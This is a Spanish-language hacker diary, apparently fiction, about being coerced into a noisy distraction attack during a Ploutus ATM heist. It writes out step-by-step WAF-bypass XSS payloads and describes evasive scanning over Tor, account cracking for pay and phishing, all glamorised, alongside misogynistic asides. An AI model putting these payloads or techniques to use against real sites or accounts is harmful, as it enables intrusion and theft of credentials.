Domingo, 31 de Diciembre de 2017: El gran golpe

Querido Diario…

Si te pones a leer las historias de grandes golpes relacionados al hacking del pasado, siempre todos se realizaron en fechas como Navidad, Años Nuevo, Black Friday… el Día Internacional de Belinda. Los RR’s habían elegido Año Nuevo.

Compré mi boleto de avión para Mexicali, en caso de que las cosas que pusiesen feas preferí estar cerca de la frontera para huir. Créeme, no querrás pasar por una cárcel mexicana. En EEUU si tienes algunos amigos es fácil mantenerte oculto, es un país mucho más corrupto que México, y aun en el caso de ser detenido, por su ley de seguridad interior sería encarcelado en EEUU, y eso me garantiza una vida decentemente lujosa y mafiosa.

Antes de tomar el avión fui a desayunar con una amiga, me hablo para pedirme un favor; y bueno… dado que puede que no sobreviva a este 2017, decidí desayunar con ella para poderle ayudar. Me contó una historia un tanto personal, que terminó en un “puedes investigar sobre él, si es malo no me digas que es, sólo dime que me aleje de él; si es algo bueno, entonces todo bien”…

Querido Diario.. #viejastodassoniguales… durante mis días de hambre; me dediqué a sacar contraseñas de Facebook por dinero; cobraba poco, unos $100 por contraseña, pero que eran suficientes para poder comprar atún o avena; eso me mantuvo sin morir de hambre mientras conseguía un empleo en Mexicali. Yo creo que conseguí unas 30 cuentas de Facebook para amigas, conocidas, amigas de la amiga y en el 100% de los casos, ellas tenían razón; él las estaba engañando o peor aun, ellas ni siquiera se habían dado cuenta que las estaban engañando… pero lo curioso es que, de esos 100% de casos, ellas terminaban de nuevo con el mismo tipo o_O … fue algo que discutí con dos de mis más cercanos asesores de confianza.

Al final tuve que acceder, pero eso sería después; primero tenía que resolver mi problema actual.

Antes de tomar el vuelo pensé en ir a ver a Mylena, de cierta forma me sentía un poco mal. Ella no tenía la culpa directamente, había sido víctima de unos tipos que sólo buscaron aprovecharse de su objetivo de salir de su país, aunque eso no la disculpa por involucrarme a mi. Así que al final determiné que era una mala persona por haberlo hecho y preferí no verle. De todas formas ya estaba en México, aun cuando fuese detenida, estaría mejor que en Rusia.

Me despedí y me dirigí al aeropuerto, el bueno Y752… ese número lo tengo siempre presente. Abordé e intenté quedarme dormido, aunque no pude. Así que me puse a leer un libro que me regalo mi amigo Bytevick: Ernest Hemingway on writing. Es la primer vez que leo un libro en inglés que no es técnico, y me estaba costando mucho trabajo.

Llegué a Mexicali en el vuelo de la mañana, es raro estar a dos horas de diferencia. Hace mucho me parecía algo normal, ahora me es más extraño.

En los últimos meses han remodelado mucho el aeropuerto, pero jamás han puesto otro cajero que no sea el de HSBC. Tomé un taxi y fui a casa. El taxi tomo la calle, pasó por las plazas nuevas, donde antes no había nada, CETYS, el Starbucks donde usualmente trabajo, el Walmart y siguió de frente. Al llegar lo único que quería era tirarme en la cama y quedarme dormido para no pasar el año nuevo, pero había que trabajar.

De cierta forma, mi trabajo era el sencillo. Sólo generar un punto de distracción, ser trazado y esperar a que la policía viniese por mi, me metiese unos tehuacanazos y me llevase preso mientras los RR’s huían con todo el dinero hacia algún otro país para hacer lo mismo, pero aun así tenía su chiste. Usualmente los días como hoy, los SOC’s están acostumbrados a recibir montones de ataques comunes, así que debía de ser un ataque lo suficientemente bueno como para realmente generar la distracción.

Volví a revisar las configuraciones de Acunetix, todo parecía ruidoso, me conecté a mi VPN usando Tunnelblick; es un cliente de VPN que me gusta mucho, funciona en OS X y es compatible con archivos de OpenVPN. Lance un escaneo de prueba con las opciones por defecto, incluyendo la modificación al user-agent que incluye la palabra “Acunetix” para su detección.

Así, por ejemplo si tenemos un user-agent de IE, tipo:

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)

Al ejecutar el escaneo tendríamos algo así:

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0) - Acunetix Web Scanner

Eso puede ser utilizado para generar alguna excepción en un IPS y dejar pasar las conexiones para verificar la seguridad de un sitio, o para detectar cuando son escaneos automatizados y generar una política para ellos. En mi caso sólo quería verificar el comportamiento, y me encontré algo muy malo en el response.

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Amz-Date: 20130813T150211Z
Host: ec2.amazonaws.com
Authorization: AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20130813/us-east-1/ec2/aws4_request, SignedHeaders=content-type;host;x-amz-date, Signature=ced6826de92d2bdeed8f846f0bf508e8559e98e4b0194b84example54174deb456c

http://ec2.amazonaws.com/?Action=RunInstances
ImageId=ami-2bb65342
&MaxCount=3
&MinCount=1
&Monitoring.Enabled=true
&Placement.AvailabilityZone=us-east-1a
&Version=2016-11-15

Había estado tan ocupado pensando en como no morir de una forma tan fea, que no había verificado en donde estaba la infraestructura de los portales. Y lo mismo pasaba para ambos.

Cruce los dedos mientras tecleaba cada letra usando Burp Suite, a pesar del calor que hace; incluso en invierno, mis manos se habían puesto heladas mientras lo hacia:

“=””’><details open=“”>

La salida:

<span>”=””’&gt;&lt;details open=””&gt; (0)</span>

No era necesario probar más… sabía lo que tenía en frente. Mi escaneo iba a ser bloqueado en segundos sin causar la distracción, eso atraería las miradas hacia el monitoreo de las bases de datos, modificación de tablas de los core bancarios y sabrían que estaban vaciando los cajeros. Esto estaba mal.

Si lograba sacar, aunque fuese un pop-up tendría idea de como estaban configuradas las políticas, así que no me quedó más que probar, y probar… y probar:

“=””’></><script></script><svg onload”=”alert(1)>

<svg onload”=”… (1)> </span><a href=” “=”” class=”” rel=”1"></svg>

Encendí el aire acondicionado, no sabía si tenía calor o tenía frío. Sólo sentía dolor de cabeza y muchas ganas de vomitar.

“=””’></><script></script><svg onload”=””alertonload=alert(1)””>

<span>”=””’&gt;<svg onload”=”… (1)” “=””> </svg></span>

¡Oh diablos!

“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt(1)>

onload=”prompt</span”><a href=”” class=”” rel=”0"></a></svg></span>

En este momento fui a mi buró, saqué mi pasaporte, visa; verifiqué los precios del Bitcoin, ETH y Ripple; junté todo mi dinero en efectivo. Y le escribí un mensaje a Mylena para decirle que tal vez debía de salir corriendo de donde estuviese, porque el plan había fallado antes de comenzar.

Intenté advertirle que básicamente iba a recibir unos tehuacanazos, pocito y no volvería a comer un taco al pastor; pero creo que ella no pudo darse cuenta que ya no me encontraba en el DF y menos que había fallado en la misión. Así que terminé con un “ahhh, todo bajo control, mañana nos vemos para celebrar”.

Por alguna razón la gente confía mucho en mi, nunca he entendido eso. El punto era… ambos íbamos a morir, y ella iba a ser la primera.

Salí a caminar para despejarme y para comer algo; caminé sobre toda Avenida Cuahutemoc y después por Benito Juárez; hasta el Baires. El Baires es mi restaurante favorito en todo Mexicali; venden cortes a precio de regalo con bastante buenos, lo atiende un señor argentino; y Miguel, el hostess, ya me conoce. De hecho ya nunca me dan la carta o me preguntan que comeré, siempre que llegó a los pocos minutos me sirven una copa de vino y me dice:

- Ca... en unos minutos te traemos tu comida.

Siempre un Rib Eye término inglés con mucha pimienta y una papa al horno, también con mucha pimienta. Igual apenas termino de comer y me traen un carajillo como digestivo. Mexicali en tan chico que prácticamente en todos los sitios donde usualmente como me reconocen y me atienden de la misma forma, tengo muchas alcaldías en Foursquare así.

El fin estaba cerca, y en vez de preocuparme, estaba allí tranquilamente comiendo… la verdad es que… Mylena no me importa mucho, apenas la conozco; y esta muy fea, creo que me han timado con las rusas como me timaron con las colombianas. Por otra parte, yo llevaba bastante tiempo buscando morir, así que creo que todo estaba resuelto. Aun así no podía quitarme de la cabeza ese WAF, diablos…. era casi un reto; y de pronto algo apareció en mi mente.

Terminé de comer…. bueno, no; comí lentamente disfrutando cada bocado.

Y entonces si… salí corriendo, llegué a casa, crucé hasta la computadora y escribí:

“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt`1`>

<svg onload”…=”” (1)””=”” onload=”prompt`1`”> </svg>

“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt`document.domain`>

<svg onload”…=”” (1)””=”” onload=”prompt`document.domain`”> </svg>

“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=setInterval`alert\x28document.domain\x29`

Oh Santo Chucho Cristo Redentor…

Querido Diario…¿alguna vez has sentido esa sensación de triunfo?, ¿esa sensación de saberte imbatible?, ¿capaz de ganarle a cualquiera?, ¿de hacer cualquier cosa?… ¿esa sensación embriagante que motivaba al verdadero hacking de saberte mejor que los demás?… es increíble sentir eso… saber que le ganaste a un programador que pasó años en la universidad, certificaciones, pasó horas desarrollando… y tú, tú eres mejor que él. Esa sensación de saber que hiciste lo que nadie más pudo hacer… esa sensación de simplemente saber que eres mejor, EL mejor.

Hice los cambios en Acunetix con ese string y entonces esperé… y justo a las 11pm hora del DF, empezó todo… y di click en [Start].

Desde el año pasado no he vuelto a celebrar un año nuevo; así que en esta ocasión simplemente seguí leyendo mi libro. Unas horas más tarde recibí una llamada de Mylena, me preguntó si quería pasar el año nuevo con ella.

- Estaré con mi familia - mentí

Y una hora más tarde, me envió una fotografía:

Querido diario… hum… ¡bah!

Caminé hasta el parque, me senté en una banca… y deseé haber podido caminar unas cuantas calles más.

Jueves, 28 de Diciembre de 2017: Todo lo contrario a lo que se debe de hacer

Querido Diario…

Mientras Fab me conseguía información sobre los RR’s que me pudiese ser útil para poder salir bien librado de este problemita; necesitaba hacer como si nada pasase y estuviese preparando mi ataque de distracción.

La misión era atacar a un portal de retail de color azul con una florecita amarilla coff… coff… y uno del pelícanito; lo que debía de hacer era atraer las miradas hacia mi, porque sabían ellos cuales eran las empresas que se encargaban de proteger a dichas empresas, y eran justo las mismas que protegían a los bancos que serían víctimas del robo del ataque de Ploutus hacia los ATM’s.

Generar ruido es un tantito más complejo de lo que la gente creería, sobre todo porque ahora a todo mundo se le da por poner WAF’s y balanceadores de carga frente a los portales; y todo esta en… [inserte aquí voz mística] “la claaaaaaud”… lo que da por resultado que apenas no lancé un port scan y terminé con la IP banneada.. y si tenemos la desventaja, como yo en Mexicali, de tener Izzi, olvídalo.

Recientemente mi amigo Luis Mala Suerte me pasó un link sobre unas VPN’s de por vida que tienen salida por varias países (https://deals.cultofmac.com/sales/vpn-unlimited-family-plan-lifetime-subscription) pero aquí necesitaba generar mucho ruido sin ser bloqueado; y el suficiente tiempo para que no me detuviesen y pusiesen mucha atención en mi, incluso más que por un simple escaneo. Por suerte creo que los Next Generation Firewalls aun no soy muy utilizados por su alto costo; así que se me ocurrió lanzar un escaneo con Acunetix configurado de una forma muuuuuy puerca.

Querido Diario…. no intentes esto sobre un cliente real…

Lo primero que hice fue seleccionar con la GDBH, básicamente esto es un montón de banners de muchas aplicaciones y servidores que se sabe son vulnerables en determinadas versiones y que por el simple hecho de responder el banner de X forma, se sobreentiende que el target es vulnerable.

En un escaneo real nunca lanzó la GDBH, porque se me hace igual de inútil que lanzar Nikto, de hecho muchos sysadmins malas personas como k001 hacen que sus web servers responsan con esos banners sólo para hacer rabiar a las personas. Pero en este caso eso sin duda generaría mucho ruido, de pronto un montón de peticiones hacía cosas como /wp-admin /admin /xoops /joomla/admin, etc… eso sin duda levantaría sospechas sobre un comportamiento extraño.

Lo siguiente fue configurar el crawling con un nivel muy alto. En casos ideales yo prefiero hacer un spydering con Burp Suite agregando el dominio en el que estoy interesado como target y dejando que el proxy solito vaya descubriendo las rutas con mi navegación y a través de los enlaces que va cargando del HTML de los responses, pero en este caso que quería generar mucho ruido Acunetix lo hace utilizando listas predeterminadas a modo de diccionario. Y obvio, muchos threads con mucho time out 😛

Sinceramente no se que es el Deep Scan, pero suena a Deep y lo Deep es ruidoso 😉

Y para agregarle más ruído no sólo al WAF, sino también al FW un escaneo ruido de 0 a 65535, no secuencial, para que sea más raro y con un time out alto.

Y finalmente todo lanzado por Tor para que las direcciones IP’s provengan de varios sitios, además de que muchos de ellos están en blacklist.. y listo… start 😉

Querido Diario… eso atrae las miradas de hasta los analistas más sonsos del mundo; perfecto para lanzarlo hoy por la noche mientras ellos empiezan a sacar el dinero de los ATM’s.

Martes, 26 de Diciembre de 2017: Lagrimas de coco… rusa

Querido diario…

Después de la “cena” extraña en la que terminé en Santa Fe, no le había tomado la llamada a Mylena. Tenía montones de mensajes, llamadas perdidas, y simplemente la evadía; si no la bloqueé es porque quería que se supiese ignorada. Hasta que la curiosidad me ganó y quise saber cual era su historia; no es como muy normal terminar involucrado con gente como esa de la nada; algo le debió de pasar que les conoció.

Quedé de verle en la Cafebrería del Péndulo de la Condesa. Al llegar hice todo lo posible para mostrarle lo más indiferente que puede; intentando demostrarle lo poco que me afectaba que ahora por su culpa una organización criminal me tuviese en su nómina.

Pedí café y pan francés, e hice algunos comentarios sobre los difusores de té que había en los anaqueles. Ella me miraba fijamente con esos ojos claros, que aun no determino si son verdes o miel; hasta que no pudo más y estalló:

- Dime algo
- Algo
- Sabes a que me refiero
- ¿Quieres que te reclamé sobre que puedo terminar flotando en un río negro de aguas negras por culpa tuya?, nah... no conoces nada sobre mi, créeme no tienes idea de las cosas que he llegado a hacer; y tampoco quieres saber. Mejor dime, ¿que tal están las enfrijoladas?.

Se me quedó mirando fijamente a los ojos, estupefacta; se notaba su confusión, enojo, tristeza… un montón de emociones claramente se le mezclaban en su mente y explotó. Empezó a llorar… ¿conmoverme?, nah… soy un macho, mujeriego y vividor; he visto a muchas mujeres llorar, y usualmente todas mienten.

Al ver que no me conmoví por sus lagrimas siguió comiendo, entre sollozos. Al terminar se me quedó mirando con cara de “paga la cuenta”. Lo hice, sinceramente sus lágrimas empezaban a hacer efecto en mi, pero quise resistir más; al final #viejastodassoniguales, no confiaría en ella.

Salimos y caminamos sobre la avenida rumbo a su hotel; al llegar me dijo que subiesemos a lo que respondí con un tirón y dije que no

- No suelo mezclar el sexo con los negocios, y parece que ya somos compañeros de trabajo
- No seas idiota - espeto - ven, te mostraré algo

Subí cautelosamente, durante el trayecto del elevador esperé a que al abrir hubiese un comando armado esperando. Si ya me había entregado a unos mafiosos del crimen organizado, nada le impedía ahora entregarme a la policía. Pero no, al abrir el elevador no hubo nadie; seguimos hasta su habitación y me senté en la mesita de estar; para confirmarle que no volvería a caer en sus juegos.

Entonces, Mylena sacó su pasaporte y me lo mostró. Ya sin lágrimas, entonces me empezó a explicar, y en efecto, agradecí haber nacido en México.

Mylena en efecto, si era rusa; había nacido en Sevastopol; y estudió desde la preparatoria en Moscú. Debido a que Rusia es un país no muy agradable para vivir, todo mundo piensa en estudiar para poder huir de allí. Así que, a pesar de que no era buena en ello; estudió Ingeniería en Computación; con la idea de que al menos pudiese terminar viviendo en la India.

Sin embargo en sus últimos semestres, con poco dinero; empezó a hacer trabajos freelance de programación por bitcoins; en esos tiempos que el bitcoin era muy barato. Así fue como conoció a los RR’s; quienes en un foro de Reddit escribieron preguntando por alguien capaz de modificar un código para cambiar su comportamiento. Como buena rusa, lo hizo y poco tiempo después caería en cuenta que lo que había modificado era ni más ni menos que Ploutus.

Los RR’s habían abierto ese foro en Reddit para adaptar su código a los cajeros de NCR que se usaban en América Latina; y sin saberlo, Mylena había modificado el binario para agregar las funciones de extracción de dinero a través de las teclas de función de un simple teclado conectado directamente al cajero. Sin embargo Mylena falló en algo.

Ploutus en todas sus variantes se infecta de forma física; los RR’s habían pagado a Mylena por hacerlo a través de la red; pensando que si infectaban una minicomputadora simulando un Diebold normal y lo colocaban en el mismo segmento en donde estuviese el ATM, este se infectaría de inmediato, así como todos. De hecho en alguna ocasión en Plaza Universidad de Aguascalientes, vi que el cajero Bancomer que estaba fuera del Soriana tenía un modem de Infinitum, así que teóricamente si modificaban el binario para que infectase a través de red, no era cosa más que romper la contraseña de la wireless y conectarse a la red para infectar el ATM. Pero ni Mylena ni los RR’s tomaron en cuenta la segmentación de red.

En efecto, muchos de los ATM’s tienen la arquitectura que mencioné, otros se conectan directamente por cable de red a una red cableada, otros se conectan por una VPN, etc. Eso hizo que la infección que programó Mylena, no funcionase. Peor aun, cuando los RR’s vieron que no lo había conseguido la secuestraron y la llevaron consigo para que ella siguiese desarrollando una forma en que si se pudiese dar.

Y así es como Mylena terminó en México; por sus deseos de huir de su país para tener un mejor futuro. En su viaje había visto como los RR’s vivían de fiesta en fiesta, usando personas como ella para sus propósitos, contratando modelos todos los días para sus fiestas, y dando mordidas a corruptos políticos para ir ganando posición y poder. Y así es como habían llegado a México.

Ya habían hecho algunas pruebas para infectar a los ATM’s, muchas de ellas habían sido efectivas; aunque no pensaron que en México se han instalado todo tipo de dispositivos para robar dinero, como scam’s; y eso ha hecho que los bancos los protejan mucho más.

Pero aun así, el ataque era viable. Y ahora lo ejecutarían.

¿Qué jugaba yo en todo eso?, en realidad no me querían para realizar las infecciones, esas ya las habían hecho pagando a las personas que dan mantenimiento a los cajeros. Ahora buscaban otra cosa, necesitaban crear una distracción lo suficientemente grande para atraer las miradas hacía ello y darles tiempo suficiente para trabajar tranquilamente.

Al mismo tiempo, tenían planeado que cuando todo pasase; no sólo yo habría generado un ataque obvio y masivo de distracción; sino también, sería el primer sospechoso del ataque por Ploutus. El chivo expiratorio perfecto para que la policía me investigase. Para Mylena fue una suerte que en esa fiesta precisamente yo fuese quién terminase en sus sábanas, para los RR’s fue la suerte de tener quién ejecutaría el ataqué sin tener que sacrificar a Mylena; al final una rusa güera, alta y pechugona valía más que yo… además de que aun les era útil para seguir desarrollando variantes de Ploutus que pudiesen utilizar en otros países. Todo estaba en mi contra.

Cuando entendí la situación y mis pocas salidas no supe que decir. Los ojos de Mylena expresaban temor, miedo… pero al mismo tiempo notaba que no estaba arrepentida, era ella o yo; y ella había decidido que fuese yo y no se arrepentía de ello, ya había pasado por mucho; y de cierta forma la entendía. No podía culparla por ello…

Tomé un trago de agua y me recline sobre mi asiento… en ese momento mi cerebro no lograba procesar alguna salida. El tiempo se acababa y tendría que ejecutar el ataque de distracción.

- ¿Qué tan peligrosos son?
- ¿Cómo que qué tan peligrosos son?
- Si, has pasado mucho tiempo con ellos... ¿has visto que maten gente?, ¿qué torturen?, ¿cómo son sus contactos?
- No he visto nada de eso, pero es obvio que... tú viste la fiesta, los lujos, el dinero...
- Hum... ¿sabes sus nombres reales?
- No
- Hum... no son mexicanos, su acento es diferente; pero no sé de donde puedan ser....
- ¿Qué estas diciendo?, ¿no lo entiendes?, te van a inculpar - Mylena me veía demasiado tranquilo para la situación
- ¿Tienes una foto de ellos?
- Si - y me mostró su celular
- Pásamela, por bluetooh

Una vez que me pasó la fotografía abrí mi computadora y se la mandé al “Fab”… un amigo que es especialista en buscar información en sitios reconditos. Le envié la información cifrada y le pedí que buscase todo lo que pudiese de esas personas y sus negocios.

- Belindo... aun no busco nada y ya siento que esto está feo
- Eip
- ¿En qué andas metido?
- Ya tú sabé... tengo muy mala suerte
- Bueno chavo, haré mi mayor esfuerzo... le diré a Mini Krusty, El Porro y Paola que se pongan a trabajar en ello
- Va, en cuanto tengas algo me dices... puede que dependa un poco mi vida de ello
- Lo normal, ¿no?
- Seeeeh

Colgué mientras Mail en mi celular enviaba las imágenes. Cuando terminé giré y vi a Mylena, ella había pasado los últimos minutos callada y estupefacta

- Te van a matar, no lo entiendes, no puedes jugar con ellos
- Me dijiste que no has visto que hagan algo malo
- No tengo que verlo para saber que todo lo que dicen es verdad
- Bueno, si eso es cierto; de todas formas ya estoy frito... haga lo que haga ya valió, ¿no?
- ¿Qué? - supongo esperaba que entrase en pánico, que tuviese rabia y le reclamase¡, que llorase, que intentase salir corriendo o algo - no entiendo. Es como si esto fuese algo normal para ti
- He tenido una mala vida

Mylena intentó espetar mi respuesta, pero sinceramente ya me había aburrido; la callé tumbándole a la cama… si iba a morir, bueno; no todos los días te puedes encontrar una rusa con sentimiento de culpa hacia ti, y que te deba su libertad. #yayutelanau … aunque todo el tiempo no pude quitarme de la mente el problema en el que estaba metido.

¿Querido diario?, ¿por qué tengo tan mala suerte?, no soy tan mala persona… confió en que Sergio encuentre algo que me sea útil, porque sino… creo que regresaré a la cárcel próximamente.

Sábado, 16 de Diciembre de 2017: Día mundial de la tolerancia

Querido diario…

Vivo en una ciudad que considero muy malinchista, donde las personas pagan paquetes de hospital en pueblos muy feos, sólo para que sus hijos nazcan americanos y no mexicanos; donde la gente habla palabras en inglés y es normal ir al súper en EEUU, sólo porque el de Calexico es más grande. En Mexicali tienen la extraña idea de que todo es mejor en otros países, pero eso debe de ser, porque no conocen Rusia, o no han conocido a Mylena.

Mylena, supongo así se escribe su nombre, sólo veía caracteres muy extraños en su pasaporte, así que supongo así se escribe, como el nombre en portugués, donde es muy común.

Le conocí en una fiesta, a pesar de que es rusa, su español era muy fluido, según sus palabras, cuando alguien tiene que ir viajando de país en país, huyendo; aprende otros idiomas, porque aprende.

En la fiesta empezamos a platicar, me preguntó a que me dedicaba e intenté esconder mi triste y actual realidad con un “soy consultor en seguridad informática”; no es que estuviese mintiendo, lo soy, sólo que ya no me dedico a eso. Cuando le dije eso se vio muy interesada, me pidió le contase más; así que le expliqué en términos sencillos:

- ¿Haz escuchado sobre los hackers?
- Claro
- Bueno, pues yo ayudo a que ellos no hagan lo que hacen

Cuando la gente no me entiende, esa explicación es lo suficientemente sencilla para de menos tengan idea de a que me dedico… o me dedicaba. Yo esperaba que me respondiese con un educado y cortante:

- Ah, que interesante.. ¿ya viste que las saladitas van horneadas?

Pero no, su respuesta me intrigó bastante:

- ¿En serio?, wow... así que eres un anti-hacker. Y dime, ¿cómo infectas una red de ATM con Ploutus?

¿Qué clase de persona hace esa pregunta?…

Ploutus es un malware de cajeros automáticos, que fue diseñado para cumplir el sueño de todo script kiddie, extraer todo el dinero de un cajero automático. La idea es simple al extremo, y muy efectiva; sustituyes el .exe de Diebold, el software que se utilizada para hacer funcionar los cajeros; con uno modificado. De esa forma, sólo falta conectar un teclado al cajero, oprimir unas secuencias de teclas F# y cha, chan… todo el dinero del cajero es tuyo.

A diferencia del malware común, Ploutus no se propaga a través de la red, lo cual de todas formas sería muy complicado porque las redes bancarias son complicadas, segmentadas y con poca visibilidad; o al menos eso les pide la CNBV… coff.. coff.. este bueno, tal vez a veces los bancos no cumplan con eso y si buscas en Shodan se encuentres con uno que otro ATM expuesto a Internet coff… coff… naaaaah, esas cosas no pasan. El punto es que no se propaga explotando una vulnerabilidad a través de una red, sino que la infección es manual… entiendase que llegas con tu desarmador, martillo, piensas, guantes y tienes que abrir el cajero para sacar el disco duro, infectarlo, volverlo a meter, cruzar los dedos porque reinicié y tener Ploutus “instalado”.

¿Los cajeros no están en un área vigilada por cámaras de seguridad?… si, 24 horas… ¿ya entendiste?. Así es querido diario, curiosamente Plotus ha impactado principalmente en países corruptos, en donde con “ponerse la del Puebla”, puedes convencer a alguien dentro de los bancos que omita el hecho de que tienes que pasar un tiempo prolongado frente a un cajero abierto, copiando el binario infectado.

… y bueno, ¿tú habías escuchado hablar de Ploutus?… eso pensé; entonces, ¿por qué Mylena me hacia una pregunta tan directa?.

Mi respuesta fue una risa nerviosa disfrazada de patanería ligadora:

- Ja, ja, ja... para ke quieres saber eso?, no soy 100tifico. salu2... ¿te gusta el nuvo?... ven, sé hacer un trago que te va a gustar mucho usándolo.

Durante la noche olvidamos nuestra extraña conversación inicial. Me platicó de Rusia, de Bucarest, Berlín, Madrid y México; me contó sobre Cancún, Puebla y cuando le dije que vivía en Mexicali, me platicó sobre Tijuana. Tijuana es una ciudad… peligrosa y llena de emociones fuertes, pero lo que me dijo de ella también levando mi curiosidad.

- A veces voy a Tijuana a trabajar

Una rusa, no bonita, pero que evidentemente diferente, sólo podría ir a trabajar a Tijuana de una cosa… la razón por la cual Tijuana es famosa, y por la que los gringos pasan de San Diego a gastar miles de dólares en una noche…

Si, ya me veía yo en la escena de Hank Moody cuando conoce a Trixie.

La fiesta terminó, de pronto vi que mis amigos me habían abandonado y lo único que tenía de recuerdo de ellos era un mensaje en el celular que decía “dale”. Claro, muy finos ellos.

Salimos y, como todo un caballero, pregunté como había llegado, para acompañarle a su coche; me dijo que había venido caminando, se hospedaba en un hotel cercano… ¿cómo es que no le había preguntado si vivía en la ciudad?; si es raro… pero para ese momento, se me había olvidado preguntarle su nombre, donde vivía, o algo así… la verdad es que la habíamos pasado platicando de tantas cosas; que nos olvidamos de las preguntas iniciales para cualquier persona nueva que conoces.

Le dije que yo había dejado mi coche en el parque de atrás del hotel; lo cual es cierto, porque así puedo evadir el típico alcoholímetro de Nuevo León; y acompañé caminando. Al llegar a la recepción pidió su llave y se me quedó mirando. Lo sé… se lo que imaginas, y si. Un instante después estaba en su habitación.

Pedimos un par de boubones, y platicamos por horas… al rededor de las 5am platicábamos porque queríamos seguir platicando, pero el sueño a ambos nos vencía a ratos; hasta que de pronto ella se quedó dormida. Como todo un patán, pensé en aprovechar ese momento para huir, su celular sonó.

¿Y tú me diras?, ¿qué tiene eso de especial?, es una rusa… un montón de gente le debe de estar escribiendo todo el tiempo para terminar en esa misma habitación como yo… si, pero había algo especial en ese tono. En efecto, toda la noche su celular se la pasó vibrando; y a momentos ella lo revisaba, vi muchos nombres de hombres que le escribían… sinceramente no me importa ser uno más, el que es golfo, es golfo… pero el tono en todos los casos era diferente, el tono predeterminado de Apple; esa notificación tenía un tono diferente.

¿Por qué configuras un tono distinto para un contacto?… bueno, hay dos razones: es alguien muy especial y le configuras un tono diferente para poder darle prioridad cuando escriba; o es alguien a quién configuras un uno especial para no responder cuando escriba.

Mi ego de macho me llevó a curiosear el nombre de mi incauto hermano de leche, quién le escribía a las 5am… pero… lo que leí me dejó helado: “TC04A7CB926CCBF829D0A36A91EBF91BD. Увидимся завтра внизу в ресторане отеля”.

No me preguntes que dicen los signitos de al lado… si, si, ya sé que lo puedes poner en Google Translate, pero focus… eso lo vi en su celular. Pero lo que me dejó frío fue la cadena alfanumérica, el hash, yo sabía que era eso.

Hace medio año, Mom me había contactado para un trabajito, donde pasé varías horas reverseando un binario; Diebold.exe y que después de un análisis de varias horas me dio ese hash que tantas veces busqué sobre él que, aunque no me lo sé, apenas lo ve y se de que se trata. Ese hash, es el hash de Ploutus-D, la variante de Ploutus, más usada en América Latina.

Me quedé helado, hasta que Mylena empezó a despertar. Pasé mi dedo por la previsualización del mensaje para ocultarlo; ella abrió los ojos, me miró y me dijo:

- Que lindo, te quedaste aunque me quedé dormida
- Soy todo un caballero, así somos los mexicanos
- Bueno, los mexicanos no sé distinguen sólo por ser caballerosos....

Querido diario…¿qué?.. pensabas ¿qué qué?… una cosa es que esto este muy raro y otra cosa es que tenía a una rusa en cueros enfrente de mi que sabe valorar los talentos mexicanos… doooh.

Después de que las luces se apagaron, se volvió a quedar dormida; y la curiosidad no me dejó simplemente dormir o emprender la patán huída. Me levanté, y pasé el celular por su dedo de forma suave. Tenía activa la autenticación por huella digital.

El celular no tenía nada, no había fotos, redes sociales configuradas, ni siquiera Whatsapp; lo único que tenía eran dos SMS. El que yo había leído con el hash y otro… “Мы должны сделать все в среду 20. Полет отправляется в 10 утра. В Мексике в этот день они платят бонусы в конце года, поэтому счетчики будут заполнены. У нас в эти дни есть инфекция. Удачи, используйте свои таланты, помните, что это зависит от Себастьяна.”…

¿Qué qué dice?… no sé Querido Diario… yo sólo spikeo espanihol y eso medio mal… pero está en ruso, si algo me han enseñado las películas es que cuando hay rusos implicados, es que hay drogas, armas, sexo y vodka.

Dejé el celular en su sitio e intenté hacer como que nada pasaba… desayuné… “desayune”… e intenté olvidar el hash; pero por más que intenté; no pude sacarme de la cabeza ese hash.

Querido diario… ¿por qué una rusa, rubia, güera, alta y pechugona… habría de saber de hashes, Ploutus y cajeros automáticos?… bueno, Querido diario… yo usualmente sólo como tres veces al día, pero mi abuela siempre dijo que era sano almorzar, así que… voy a almorzar carne tártara de Moscú *guiño, guiño*.

Ouuu si, si… ¿qué cómo sé que hoy es el Día mundial de la Tolerancia?… feliz cumpleaños 😉

Martes, 14 de Noviembre de 2017: ¿Cual es tu mejor hackeo?

Querido diario…

Ya tengo amigos, y me llevaron al cine… y a comer. Tengo un amigo, bueno… hay que guardar las identidades de todos.. pero tengo un amigo pipope, un veracruzano, una regia, una paraguaya, dos bogotanas y una argentina. y hoy comiendo les expliqué básicamente como me ganó la vida. Ósea no justamente la parte fea donde tengo que pasar varios de cocaína de un país a otro, sino lo que hay detrás y a lo que hace mucho tiempo me dedicaba… vulnerar sistemas.

Y les hice una simple demostración en donde entré a un CMS interceptando las credenciales de uno de ellos. De lo más simple, luego les expliqué como podía saber la posición exacta de una persona a través de un web service, comprometiendo su celular con un SMS. ¡Básico!.

Unos sushis más tarde, creo que mis nuevos amigos me tenían un poco de miedo. Nunca he entendido eso, los amigos no se hacen cosas malas, así que no tendrían porque preocuparse, yo jamás les haría algo. Pero ellos estaban asustados, y una de ellas me preguntó.

– Oshe pibe, deja ver se entendo; eres jodido pelotudo que haces todo de todos, podrías sacarme mis nudes del Tinder y contarle a todos mis secretos. Pero, ¿alguna vez has hecho algo bueno con todo eso?, ¿algo que la gente diga wow, el vendetta, jodido boludo que bueno que estaba aquí?.

Y recordé que si, en efecto… una vez hice algo bueno.

Corrían los años del 2013, yo trabajaba como pentester en el área de consultoría de una empresa de data centers en México. De pronto un cliente pidió hacer una consulta y me mandaron a mi; realmente no sabía ni que querían, a veces pensaba que era un incidente, tal vez dimensionar un proyecto, no tenían idea.

Me comuniqué con el cliente y me dijeron si podía recuperar una contraseña de Facebook, teoricamente un profesionista no debiese hacer eso; pero ya estoy tan acostumbrado que dije “claro que si, sin problemas”. Al día siguiente tomé el autobus a la ciudad donde debía de realizarlo y me fui.

Un día antes le pedí ciertas cosas: un servidor con Backtrack (en ese entonces aun no era Kali) y una dirección IP homologada. Mi idea, simple.. montar un SET con Facebook y atraer a la víctima, ¿qué podía salir mal?.

